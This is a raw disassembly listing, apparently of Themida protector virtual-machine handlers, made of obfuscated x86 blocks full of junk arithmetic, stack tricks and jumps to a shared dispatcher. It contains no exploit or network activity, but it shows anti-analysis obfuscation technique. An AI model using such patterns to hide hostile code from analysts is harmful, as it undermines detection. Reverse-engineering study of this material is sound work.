loc_591AB6: ; CODE XREF: Themida_:0058B251j
add eax, ebp
mov ebp, [esp]
add esp, 4
xor ebx, eax
add edx, 17C93416h
push ebx
mov ebx, 68577969h
shr ebx, 6
add ebx, 7802CDCDh
sub edx, ebx
pop ebx
push edi
mov edi, 6A9B162Dh
add edx, 4FAD4070h
sub edx, edi
sub edx, 4FAD4070h
pop edi
add edx, eax
push ebx
mov ebx, 154425A7h
jmp loc_58D09A
; ---------------------------------------------------------------------------
loc_591AFD: ; CODE XREF: Themida_:00594D2Ej
xchg edx, [esp]
mov esp, [esp]
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
or [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591B19: ; CODE XREF: Themida_:00590D57j
mov [esp], eax
jmp loc_590555
; ---------------------------------------------------------------------------
loc_591B21: ; CODE XREF: Themida_:0058D073j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591B38: ; CODE XREF: Themida_:0058C3DCj
mov [esp], dx
push ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591B44: ; CODE XREF: Themida_:0058E004j
mov [esp], edi
jmp loc_591A4B
; ---------------------------------------------------------------------------
loc_591B4C: ; CODE XREF: Themida_:0058BFE8j
mov esi, 44E535E7h
inc esi
add esi, 134D32BBh
shl esi, 3
shr esi, 4
add esi, 0E3621A0h
xor ebx, esi
pop esi
jmp loc_59515D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_58C91C
; ---------------------------------------------------------------------------
loc_591B7A: ; CODE XREF: Themida_:005936EDj
xor bl, 9Eh
sub al, 61h
add al, bl
add al, 61h
pop ebx
sub al, 5Fh
mov edx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_59036C
; ---------------------------------------------------------------------------
loc_591B96: ; CODE XREF: Themida_:00592F56j
push dword ptr [esp]
pop edx
push esi
jmp loc_58DCEF
; ---------------------------------------------------------------------------
loc_591BA0: ; CODE XREF: Themida_:00595428j
pop esi
push esi
mov esi, 612D7813h
xor ebx, esi
pop esi
xor esi, ebx
pop ebx
jmp loc_58CE5E
; ---------------------------------------------------------------------------
loc_591BB2: ; CODE XREF: Themida_:0059495Dj
sub bl, 2Ah
add bl, cl
add bl, 2Ah
pop cx
add bl, 0Ch
sub bl, al
sub bl, 0Ch
sub bl, 9Ch
push eax
mov al, 0AAh
add bl, 69h
sub bl, al
jmp loc_5922CA
; ---------------------------------------------------------------------------
loc_591BD4: ; CODE XREF: Themida_:00593395j
add ecx, 758C4D1Eh
jmp loc_5898E8
; ---------------------------------------------------------------------------
loc_591BDF: ; CODE XREF: Themida_:0058D5E3j
xchg edx, [esp]
jmp loc_58E605
; ---------------------------------------------------------------------------
loc_591BE7: ; CODE XREF: Themida_:005923ABj
add esi, ebp
pop ebp
push esi
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5952FA
; ---------------------------------------------------------------------------
loc_591BF7: ; CODE XREF: Themida_:0059456Bj
sub eax, 46D67E67h
add eax, 3B6E4F9Bh
mov edi, [esp]
add esp, 4
jmp loc_58D1D0
; ---------------------------------------------------------------------------
loc_591C0F: ; CODE XREF: Themida_:005926E0j
pop eax
jmp loc_591E44
; ---------------------------------------------------------------------------
loc_591C15: ; CODE XREF: Themida_:0058AEE5j
add ebx, edi
sub ebx, 770B474Bh
mov [ebx], al
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591C2B: ; CODE XREF: Themida_:005922F2j
mov edx, ebx
mov ebx, [esp]
jmp loc_58B135
; ---------------------------------------------------------------------------
loc_591C35: ; CODE XREF: Themida_:00590BF8j
not ecx
jmp loc_58F1DB
; ---------------------------------------------------------------------------
loc_591C3C: ; CODE XREF: Themida_:00589701j
xor edx, 0C1286267h
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push 221Ch
mov [esp], edx
push esp
pop edx
jmp loc_59116D
; ---------------------------------------------------------------------------
loc_591C61: ; CODE XREF: Themida_:0058DF21j
mov esp, [esp]
mov dx, [esp]
jmp loc_58E998
; ---------------------------------------------------------------------------
loc_591C6D: ; CODE XREF: Themida_:0059317Fj
push small 0
sub [esp], al
jmp loc_58FBB1
; ---------------------------------------------------------------------------
loc_591C79: ; CODE XREF: Themida_:00593726j
add eax, edi
sub eax, 670E39B5h
pop edi
push 1D5Fh
mov [esp], ecx
mov ecx, 74314C02h
dec ecx
push edi
mov edi, 455E2C0Ch
jmp loc_58C9A7
; ---------------------------------------------------------------------------
loc_591C9A: ; CODE XREF: Themida_:00593CB4j
add ecx, eax
jmp loc_5928E7
; ---------------------------------------------------------------------------
loc_591CA1: ; CODE XREF: Themida_:0058FD2Bj
mov esi, [esp]
add esp, 4
jmp loc_592084
; ---------------------------------------------------------------------------
loc_591CAC: ; CODE XREF: Themida_:005911CBj
mov [esp], edi
sub esp, 4
mov [esp], ebp
jmp loc_58E558
; ---------------------------------------------------------------------------
loc_591CBD: ; CODE XREF: Themida_:0059336Fj
mov [esp], ebx
mov ebx, 0AF71D5AEh
add edi, ebx
mov ebx, [esp]
push 61B2h
mov [esp], edi
mov edi, esp
push 2D2h
mov [esp], ebx
mov ebx, 7AE21348h
shl ebx, 3
jmp loc_592D41
; ---------------------------------------------------------------------------
loc_591CE9: ; CODE XREF: Themida_:0058BEB9j
sub esp, 4
jmp loc_591FBB
; ---------------------------------------------------------------------------
loc_591CF1: ; CODE XREF: Themida_:005904B1j
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push ecx
mov ecx, esp
sub esp, 4
jmp loc_58A30D
; ---------------------------------------------------------------------------
loc_591D14: ; CODE XREF: Themida_:00593907j
pop eax
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_591539
; ---------------------------------------------------------------------------
loc_591D26: ; CODE XREF: Themida_:0058D5D1j
add eax, edx
jmp loc_5914F0
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebx
mov ebx, esp
push eax
jmp loc_58B34E
; ---------------------------------------------------------------------------
loc_591D39: ; CODE XREF: Themida_:0058DC6Aj
mov [esp], edx
jmp loc_5926BA
; ---------------------------------------------------------------------------
loc_591D41: ; CODE XREF: Themida_:0058B7E2j
push ebx
mov bl, 85h
or bl, 0E0h
inc bl
jmp loc_58D013
; ---------------------------------------------------------------------------
loc_591D4E: ; CODE XREF: Themida_:0058EF43j
mov [esp], esp
push edi
jmp loc_58E1B2
; ---------------------------------------------------------------------------
loc_591D57: ; CODE XREF: Themida_:0058EEDBj
pop edx
jmp loc_58BC67
; ---------------------------------------------------------------------------
loc_591D5D: ; CODE XREF: Themida_:0058CCC7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
push 6596h
mov [esp], edi
push ebx
add dword ptr [esp], 24A86AE6h
mov edi, [esp]
jmp loc_58F2A8
; ---------------------------------------------------------------------------
loc_591D8A: ; CODE XREF: Themida_:005925A9j
push dword ptr [esp]
jmp loc_58DD9D
; ---------------------------------------------------------------------------
loc_591D92: ; CODE XREF: Themida_:00590A22j
mov dl, 62h
sub al, dl
pop dx
sub esp, 4
mov [esp], edx
mov dl, 95h
jmp loc_590843
; ---------------------------------------------------------------------------
loc_591DA5: ; CODE XREF: Themida_:00594D0Bj
pop edx
pop ecx
add edi, 94A71721h
add eax, 12BA69C1h
sub eax, 4A4535D7h
add eax, edi
add eax, 4A4535D7h
sub eax, 12BA69C1h
jmp loc_589BBC
; ---------------------------------------------------------------------------
loc_591DC8: ; CODE XREF: Themida_:00592D1Dj
xor esi, edi
push ecx
mov ecx, 33FF3C05h
add ecx, 7EC71759h
and ecx, 63262A51h
sub ecx, 0EF4E2605h
add esi, ecx
pop ecx
add ebp, 10922A78h
add ebp, esi
sub ebp, 10922A78h
mov esi, [esp]
add esp, 4
shl ebp, 8
add ebp, 0AFC04E7h
sub eax, 83A2420h
sub eax, ebp
add eax, 83A2420h
jmp loc_58DC34
; ---------------------------------------------------------------------------
loc_591E16: ; CODE XREF: Themida_:00590108j
add edx, eax
mov eax, [esp]
add esp, 4
sub edx, 4E7E465Dh
add edx, 2F9D7E41h
jmp loc_58C45F
; ---------------------------------------------------------------------------
loc_591E2F: ; CODE XREF: Themida_:0058F618j
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
xchg edi, ebp
not edi
xor ebp, edi
xor edi, ebp
jmp loc_58CCB7
; ---------------------------------------------------------------------------
loc_591E44: ; CODE XREF: Themida_:00591C10j
mov ah, bh
pop ebx
mov dl, ah
pop eax
sub bl, dl
pop dx
add bl, 1
jmp loc_594181
; ---------------------------------------------------------------------------
loc_591E56: ; CODE XREF: Themida_:0059442Dj
shr ebx, 7
xor ebx, 0ED7810h
jmp loc_58CAFC
; ---------------------------------------------------------------------------
loc_591E64: ; CODE XREF: Themida_:0058E90Cj
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591E8B: ; CODE XREF: Themida_:0058BE76j
push edi
jmp loc_594A29
; ---------------------------------------------------------------------------
loc_591E91: ; CODE XREF: Themida_:0058D652j
sub esp, 4
mov [esp], eax
push ebx
mov bl, 20h
xor bl, 7Fh
mov al, bl
pop ebx
sub esp, 4
mov [esp], edx
mov dl, al
mov cl, dl
pop edx
mov eax, [esp]
add esp, 4
xor al, cl
mov ecx, [esp]
push ebp
jmp loc_5940D6
; ---------------------------------------------------------------------------
loc_591EBF: ; CODE XREF: Themida_:0058C57Cj
add ebx, edx
jmp loc_58E712
; ---------------------------------------------------------------------------
loc_591EC6: ; CODE XREF: Themida_:00591219j
add dword ptr [esp], 4
pop ebx
add ebx, 4
push 16ACh
mov [esp], esi
mov esi, 78C73D0Fh
xor esi, 0A6E4D13h
sub esi, 72A97018h
add ebx, 67F222F3h
push eax
mov eax, 767921F5h
sub ebx, eax
mov eax, [esp]
add esp, 4
sub ebx, 3893119h
sub ebx, esi
add ebx, 3893119h
jmp loc_58FF66
; ---------------------------------------------------------------------------
loc_591F14: ; CODE XREF: Themida_:005911EDj
add ebp, 4
sub ebp, 4
push 3A5Ah
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_58A987
; ---------------------------------------------------------------------------
loc_591F2E: ; CODE XREF: Themida_:00593B55j
mov ebx, 4
add ecx, ebx
pop ebx
sub ecx, 4
xchg ecx, [esp]
jmp loc_58E9C1
; ---------------------------------------------------------------------------
loc_591F44: ; CODE XREF: Themida_:0058C909j
push eax
mov eax, 0
add eax, edx
mov [eax], ebx
jmp loc_58A07F
; ---------------------------------------------------------------------------
loc_591F53: ; CODE XREF: Themida_:00593B28j
mov [esp], edx
push ebp
mov ebp, 225118F1h
mov edx, ebp
pop ebp
neg edx
neg edx
sub edx, 49D44549h
push ebp
mov ebp, 27832C5Ah
jmp loc_590858
; ---------------------------------------------------------------------------
loc_591F74: ; CODE XREF: Themida_:0058ADAEj
xor al, bl
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_58ADD6
; ---------------------------------------------------------------------------
loc_591F86: ; CODE XREF: Themida_:005933E6j
mov eax, 1C0C681Ch
shl eax, 6
or eax, 0A9E3E2Bh
add eax, 3AB50C1Ah
push ebp
mov ebp, 49D61719h
push edx
mov edx, 52D57110h
add edx, 0E032E10h
xor edx, 1091368Fh
xor edx, 402C325Ch
jmp loc_58D6DD
; ---------------------------------------------------------------------------
loc_591FBB: ; CODE XREF: Themida_:00591CECj
mov [esp], edi
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_591A43
; ---------------------------------------------------------------------------
loc_591FD4: ; CODE XREF: Themida_:0058CFA5j
xor ecx, 1A2E0DBEh
neg ecx
xor ecx, 29947D2Ah
xor ecx, 8E81CDC1h
add ebx, ecx
jmp loc_592EDC
; ---------------------------------------------------------------------------
loc_591FEF: ; CODE XREF: Themida_:0058EF1Ej
mov ebp, ecx
jmp loc_58B421
; ---------------------------------------------------------------------------
loc_591FF6: ; CODE XREF: Themida_:005898EAj
not dword ptr [esp]
pop ecx
jmp loc_59230C
; ---------------------------------------------------------------------------
loc_591FFF: ; CODE XREF: Themida_:0058DA7Bj
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58F162
; ---------------------------------------------------------------------------
loc_59202C: ; CODE XREF: Themida_:0058D4B5j
pop ecx
jmp loc_59525C
; ---------------------------------------------------------------------------
loc_592032: ; CODE XREF: Themida_:00591945j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592037: ; CODE XREF: Themida_:00590465j
pop ebp
sub edi, 4
push 6545h
mov [esp], edi
jmp loc_592401
; ---------------------------------------------------------------------------
loc_592048: ; CODE XREF: Themida_:005942B3j
mov ebx, [esp]
add esp, 4
push esi
jmp loc_58D3F9
; ---------------------------------------------------------------------------
loc_592057: ; CODE XREF: Themida_:00594D39j
mov esp, [esp]
push edi
mov edi, 14464B5Ch
jmp loc_59265F
; ---------------------------------------------------------------------------
loc_592065: ; CODE XREF: Themida_:0058BE84j
mov esi, 0DFE598Dh
jmp loc_5953C3
; ---------------------------------------------------------------------------
loc_59206F: ; CODE XREF: Themida_:0058B017j
mov [esp], edx
push 29BCh
jmp loc_58E87C
; ---------------------------------------------------------------------------
loc_59207C: ; CODE XREF: Themida_:0058A431j
pop ecx
add esi, ecx
jmp loc_58F4D0
; ---------------------------------------------------------------------------
loc_592084: ; CODE XREF: Themida_:00591CA7j
add esp, 4
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592092: ; CODE XREF: Themida_:005927C5j
sub edx, 440F2150h
pop esi
pop eax
jmp loc_5944DD
; ---------------------------------------------------------------------------
loc_59209F: ; CODE XREF: Themida_:005899EAj
push edi
jmp loc_592D4C
; ---------------------------------------------------------------------------
loc_5920A5: ; CODE XREF: Themida_:00590DDDj
pop ebp
add edx, 4
xchg edx, [esp]
pop esp
push 59B1h
jmp loc_58C9E7
; ---------------------------------------------------------------------------
loc_5920BA: ; CODE XREF: Themida_:005922A6j
sub edx, ecx
pop ecx
add edx, 36812A06h
sub edx, 13E2422Fh
add edx, edi
add edx, 13E2422Fh
sub edx, 36812A06h
push eax
mov eax, 33E816CDh
jmp loc_59056E
; ---------------------------------------------------------------------------
loc_5920E2: ; CODE XREF: Themida_:00593348j
xor cl, 62h
sub esp, 4
mov [esp], ebx
mov bh, 57h
sub cl, bh
jmp loc_594250
; ---------------------------------------------------------------------------
loc_5920F7: ; CODE XREF: Themida_:00592392j
mov ebx, 372A481Ch
add eax, ebx
pop ebx
push dword ptr [esp]
pop edi
add esp, 4
push esi
push 302Dh
mov [esp], edx
mov edx, 74D5532Ch
jmp loc_5925A7
; ---------------------------------------------------------------------------
loc_592119: ; CODE XREF: Themida_:0058A386j
add esp, 4
push edi
push ebx
mov ebx, 57A703A5h
jmp loc_58A009
; ---------------------------------------------------------------------------
loc_59212B: ; CODE XREF: Themida_:00592904j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592130: ; CODE XREF: Themida_:0058B69Aj
mov esi, 375027ECh
sub esi, 0F59038Eh
jmp loc_59468A
; ---------------------------------------------------------------------------
loc_592140: ; CODE XREF: Themida_:0058AA88j
pop esp
mov [esp], esi
jmp loc_59038A
; ---------------------------------------------------------------------------
loc_592149: ; CODE XREF: Themida_:0058CEA2j
add esp, 4
add eax, esi
jmp loc_58E74F
; ---------------------------------------------------------------------------
loc_592156: ; CODE XREF: Themida_:0059404Ej
push eax
mov al, 5Ah
shr al, 2
dec al
push ebx
mov bl, 0Ch
sub bl, 85h
jmp loc_59256C
; ---------------------------------------------------------------------------
loc_592169: ; CODE XREF: Themida_:0058D01Ej
add bh, dl
jmp loc_58C661
; ---------------------------------------------------------------------------
loc_592170: ; CODE XREF: Themida_:0059527Dj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_59429E
; ---------------------------------------------------------------------------
loc_592186: ; CODE XREF: Themida_:00595A6Cj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push 1FA1h
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_591899
; ---------------------------------------------------------------------------
loc_5921A7: ; CODE XREF: Themida_:00593685j
shr ebp, 6
xor ebp, 2D2D28Ch
and [edi+1Ch], ebp
jmp loc_58B40A
; ---------------------------------------------------------------------------
loc_5921B8: ; CODE XREF: Themida_:0058DDBEj
mov [esp], edi
push 3D745E84h
pop edi
push 5223h
jmp loc_591416
; ---------------------------------------------------------------------------
loc_5921CB: ; CODE XREF: Themida_:0058FC49j
xor edx, 715629CCh
add eax, 3DD71E8Bh
sub eax, edx
jmp loc_59422A
; ---------------------------------------------------------------------------
loc_5921DD: ; CODE XREF: Themida_:0059419Fj
mov [esp], dx
push ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5921E9: ; CODE XREF: Themida_:0058BBFBj
mov ecx, [esp]
add esp, 4
pop ebx
mov [edi+28h], dl
pop edx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5921FC: ; CODE XREF: Themida_:00590537j
mov eax, 1C056CC6h
sub esi, eax
jmp loc_58A84E
; ---------------------------------------------------------------------------
loc_592208: ; CODE XREF: Themida_:0058A6FEj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
jmp loc_58F488
; ---------------------------------------------------------------------------
loc_592220: ; CODE XREF: Themida_:0058CC26j
mov [esp], ebp
push 0A7Dh
mov [esp], ebx
mov ebp, [esp]
add esp, 4
push 60DFh
mov [esp], ebp
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
jmp loc_59030C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592257: ; CODE XREF: Themida_:0058F86Fj
add eax, ecx
pop ecx
xchg eax, [esp]
pop esp
push edi
mov edi, 2C3A3B24h
shr edi, 3
push eax
jmp loc_58E208
; ---------------------------------------------------------------------------
loc_59226D: ; CODE XREF: Themida_:0058D275j
shl dh, 8
jmp loc_58E1DD
; ---------------------------------------------------------------------------
loc_592275: ; CODE XREF: Themida_:0058E8BEj
pop ecx
add ecx, ebp
pop ebp
push esi
mov esi, 2
add ecx, esi
jmp loc_58C08B
; ---------------------------------------------------------------------------
loc_592286: ; CODE XREF: Themida_:0059437Ej
sub al, bl
sub al, 4Ah
sub al, 0D1h
add al, 0F6h
push ebx
mov bh, 0D0h
add al, bh
pop ebx
jmp loc_593AD9
; ---------------------------------------------------------------------------
loc_592299: ; CODE XREF: Themida_:00589DFEj
pop edi
push ecx
mov ecx, 616B023Ch
xor ecx, 528314F1h
jmp loc_5920BA
; ---------------------------------------------------------------------------
loc_5922AB: ; CODE XREF: Themida_:0058AA26j
push eax
mov eax, 767A2745h
sub eax, 3A3743h
xor eax, 753B6E9Bh
not eax
jmp loc_58ACC0
; ---------------------------------------------------------------------------
loc_5922C2: ; CODE XREF: Themida_:0058BEA0j
shl edi, 5
jmp loc_593366
; ---------------------------------------------------------------------------
loc_5922CA: ; CODE XREF: Themida_:00591BCFj
sub bl, 69h
pop eax
add bl, 0F7h
movzx eax, al
push esi
push esp
pop esi
push edx
push 1FA7h
mov [esp], ebx
mov ebx, 6EA74B25h
inc ebx
and ebx, 15125374h
xor ebx, 1E3A5FD8h
jmp loc_591C2B
; ---------------------------------------------------------------------------
loc_5922F7: ; CODE XREF: Themida_:0058B7ABj
sub esi, edx
jmp loc_58A822
; ---------------------------------------------------------------------------
loc_5922FE: ; CODE XREF: Themida_:0058BA3Fj
add ecx, 2F5D2450h
pop edx
and eax, ecx
jmp loc_5918CF
; ---------------------------------------------------------------------------
loc_59230C: ; CODE XREF: Themida_:00591FFAj
xor ecx, 0C1EA45D7h
add eax, ecx
pop ecx
add eax, 45522BD1h
push dword ptr [esp]
pop edi
push edx
jmp loc_58B0F3
; ---------------------------------------------------------------------------
loc_592324: ; CODE XREF: Themida_:005936E5j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push ebp
push eax
mov eax, 75463622h
neg eax
shl eax, 4
jmp loc_590E81
; ---------------------------------------------------------------------------
loc_592348: ; CODE XREF: Themida_:0058E3A2j
sub esi, 1EA45371h
mov edx, [esp]
add esp, 4
add eax, esi
jmp loc_59006B
; ---------------------------------------------------------------------------
loc_59235B: ; CODE XREF: Themida_:0058D110j
and bl, 6Ch
sub bl, 0C3h
shl bl, 3
push cx
mov cl, 6Ch
sub bl, cl
jmp loc_58DA05
; ---------------------------------------------------------------------------
loc_59236F: ; CODE XREF: Themida_:00593734j
mov ecx, edi
mov edi, [esp]
add esp, 4
push edx
mov edx, 8CF7BE3h
not edx
push eax
mov eax, 38D118C4h
add edx, eax
jmp loc_590941
; ---------------------------------------------------------------------------
loc_59238F: ; CODE XREF: Themida_:0058F1B6j
pop ebp
pop eax
push ebx
jmp loc_5920F7
; ---------------------------------------------------------------------------
loc_592397: ; CODE XREF: Themida_:0058A7E5j
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_593BC4
; ---------------------------------------------------------------------------
loc_5923A5: ; CODE XREF: Themida_:0058B640j
sub ebp, 67B514AAh
jmp loc_591BE7
; ---------------------------------------------------------------------------
loc_5923B0: ; CODE XREF: Themida_:0058BDA1j
sub esp, 4
mov [esp], edx
jmp loc_58CB43
; ---------------------------------------------------------------------------
loc_5923BB: ; CODE XREF: Themida_:0058AACAj
add al, bl
jmp loc_593512
; ---------------------------------------------------------------------------
loc_5923C2: ; CODE XREF: Themida_:0058B4FBj
push esp
pop eax
sub esp, 4
mov [esp], esi
mov esi, 32FF418Dh
push eax
mov eax, 325E2EC8h
dec eax
add eax, 0E5942B3Dh
jmp loc_589E4A
; ---------------------------------------------------------------------------
loc_5923E0: ; CODE XREF: Themida_:00590774j
sub esp, 4
mov [esp], ecx
mov ecx, 26BD4D2Dh
push esi
mov esi, 0
sub esi, ecx
xchg esi, ecx
pop esi
jmp loc_58E6A0
; ---------------------------------------------------------------------------
loc_5923FB: ; CODE XREF: Themida_:0058EA93j
push edx
jmp loc_592EA1
; ---------------------------------------------------------------------------
loc_592401: ; CODE XREF: Themida_:00592043j
push dword ptr [esp+4]
jmp loc_58DC65
; ---------------------------------------------------------------------------
loc_59240A: ; CODE XREF: Themida_:0058D13Ej
mov edi, 0E9F5CDB9h
jmp loc_591AA5
; ---------------------------------------------------------------------------
loc_592414: ; CODE XREF: Themida_:0058D9CDj
mov esi, 7C756A8Bh
sub esi, 7C756A89h
sub edx, 0D645A0Dh
add edx, esi
push eax
mov eax, 0D645A0Dh
add edx, eax
mov eax, [esp]
add esp, 4
pop esi
xchg edx, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592446: ; CODE XREF: Themida_:00594D47j
pop ebp
push 12E0h
jmp loc_58E12F
; ---------------------------------------------------------------------------
loc_592451: ; CODE XREF: Themida_:00592AAAj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592456: ; CODE XREF: Themida_:005943C0j
push edx
push small 1CFFh
jmp loc_5924D4
; ---------------------------------------------------------------------------
loc_592460: ; CODE XREF: Themida_:0058AFA3j
push 95h
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push eax
mov eax, 4
jmp loc_58B71B
; ---------------------------------------------------------------------------
loc_592480: ; CODE XREF: Themida_:0058D0D2j
add ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_58D440
; ---------------------------------------------------------------------------
loc_59248D: ; CODE XREF: Themida_:0058FDDEj
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58E223
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
pop ebx
push eax
push edx
mov edx, 4A1212D1h
not edx
inc edx
sub edx, 0B5EDED2Bh
jmp loc_593CB9
; ---------------------------------------------------------------------------
loc_5924B5: ; CODE XREF: Themida_:00589A50j
add esp, 4
pop ebx
jmp loc_5943D3
; ---------------------------------------------------------------------------
loc_5924C1: ; CODE XREF: Themida_:00592D94j
push ecx
mov ecx, 4
jmp loc_58B3E6
; ---------------------------------------------------------------------------
loc_5924CC: ; CODE XREF: Themida_:0058C1CDj
sub dh, 14h
jmp loc_58D73F
; ---------------------------------------------------------------------------
loc_5924D4: ; CODE XREF: Themida_:0059245Bj
mov [esp], cx
mov cl, 80h
mov dl, cl
pop cx
shr dl, 8
neg dl
push ax
jmp loc_5948DB
; ---------------------------------------------------------------------------
loc_5924EA: ; CODE XREF: Themida_:0058D28Cj
add ebp, esi
add ebp, 752F5085h
push esi
mov esi, 71D128C0h
sub ebp, esi
pop esi
jmp loc_58FF9B
; ---------------------------------------------------------------------------
loc_592500: ; CODE XREF: Themida_:0058D8F4j
sub ebx, 2FAB12D5h
add ebp, ebx
pop ebx
pop ebx
xchg ebp, [esp]
pop esp
jmp loc_58DF26
; ---------------------------------------------------------------------------
loc_592513: ; CODE XREF: Themida_:00591542j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 133Fh
mov [esp], edi
jmp loc_592A32
; ---------------------------------------------------------------------------
loc_59252D: ; CODE XREF: Themida_:0058AB95j
push eax
mov eax, ebx
push eax
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58A910
; ---------------------------------------------------------------------------
loc_592545: ; CODE XREF: Themida_:0058CFC9j
push esp
pop ebx
jmp loc_593A7A
; ---------------------------------------------------------------------------
loc_59254C: ; CODE XREF: Themida_:00592E10j
xor edi, ebx
pop ebx
xchg ecx, edi
not ecx
xchg ecx, edi
add edi, 691E2781h
jmp loc_58E3A7
; ---------------------------------------------------------------------------
loc_592560: ; CODE XREF: Themida_:0059189Fj
xchg ebp, [esp]
pop esp
xchg edx, [esp]
jmp loc_58AB1C
; ---------------------------------------------------------------------------
loc_59256C: ; CODE XREF: Themida_:00592164j
neg bl
shr bl, 2
xor bl, 1Ch
jmp loc_58DD21
; ---------------------------------------------------------------------------
loc_592579: ; CODE XREF: Themida_:00593468j
pop eax
add al, 0BCh
jmp loc_58E82E
; ---------------------------------------------------------------------------
loc_592581: ; CODE XREF: Themida_:00594012j
mov [esp], esi
push esp
jmp loc_595840
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_593B08
; ---------------------------------------------------------------------------
loc_59259C: ; CODE XREF: Themida_:0058F9B5j
push edx
push edi
mov di, 26B8h
jmp loc_58CD60
; ---------------------------------------------------------------------------
loc_5925A7: ; CODE XREF: Themida_:00592114j
mov esi, edx
jmp loc_591D8A
; ---------------------------------------------------------------------------
lodsd
jmp loc_5946AB
; ---------------------------------------------------------------------------
loc_5925B4: ; CODE XREF: Themida_:0058F15Dj
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
jmp loc_589936
; ---------------------------------------------------------------------------
loc_5925C3: ; CODE XREF: Themida_:0058DD98j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58C623
; ---------------------------------------------------------------------------
loc_5925CF: ; CODE XREF: Themida_:00593410j
push edx
mov dh, 40h
neg dh
push ecx
mov cl, 0F5h
shr cl, 4
xor cl, 4Eh
jmp loc_59506E
; ---------------------------------------------------------------------------
loc_5925E2: ; CODE XREF: Themida_:0059260Ej
pop ebx
mov ebp, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_589462
; ---------------------------------------------------------------------------
loc_592600: ; CODE XREF: Themida_:005916D1j
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, 3FAF7817h
sub ecx, ebx
jmp loc_5925E2
; ---------------------------------------------------------------------------
loc_592613: ; CODE XREF: Themida_:005950A9j
add ebx, 4
jmp loc_590C75
; ---------------------------------------------------------------------------
loc_59261E: ; CODE XREF: Themida_:0058FB8Dj
push ecx
mov ecx, 48FF0D2Ah
xor ecx, 249A775Bh
or ecx, 7003157Ah
sub ecx, 72733D57h
xor ecx, 66493450h
push eax
jmp loc_58B264
; ---------------------------------------------------------------------------
loc_592642: ; CODE XREF: Themida_:00590052j
add esi, 278B7D1Dh
shr esi, 5
or esi, 393451A2h
and esi, 51905B7Fh
shr esi, 8
jmp loc_58B9CC
; ---------------------------------------------------------------------------
loc_59265F: ; CODE XREF: Themida_:00592060j
add eax, edi
pop edi
push eax
push esp
pop eax
add eax, 4
jmp loc_58DF01
; ---------------------------------------------------------------------------
loc_59266F: ; CODE XREF: Themida_:0058C45Aj
mov edi, esp
push ecx
push edi
mov edi, 6A894C9Ah
mov ecx, 9576B36Ah
add ecx, edi
pop edi
add edi, ecx
pop ecx
sub esp, 4
mov [esp], ecx
mov ecx, 2
sub edi, ecx
jmp loc_58D15C
; ---------------------------------------------------------------------------
loc_592695: ; CODE XREF: Themida_:0058B1ACj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_58A25C
; ---------------------------------------------------------------------------
